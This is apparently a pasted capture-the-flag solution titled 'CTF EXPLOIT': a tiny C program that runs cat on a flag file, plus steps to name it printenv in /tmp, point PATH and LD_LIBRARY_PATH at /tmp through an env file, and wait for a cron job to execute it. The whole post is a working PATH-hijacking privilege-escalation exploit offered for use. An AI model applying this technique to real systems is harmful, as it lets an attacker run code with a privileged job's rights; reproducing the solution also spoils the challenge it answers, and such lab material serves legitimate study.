CTF EXPLOIT
unknown
plain_text
3 years ago
496 B
14
Indexable
/* EXPLOIT CREATED BY José Miguel Isidro aka zmiguel2011*/
/* Compile this program with ggc and output the file to "printenv" in the /tmp folder */
/* gcc -o printenv */
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
void main() {
system("/bin/cat /flags/flag.txt");
}
/* Create a new /tmp/env file with: */
/* /tmp/env */
PATH=/tmp
LD_LIBRARY_PATH=/tmp/
/* Let the cronjob run and execute your printenv program and
retrieve the flag from last_log with "cat /tmp/last_log" */Editor is loading...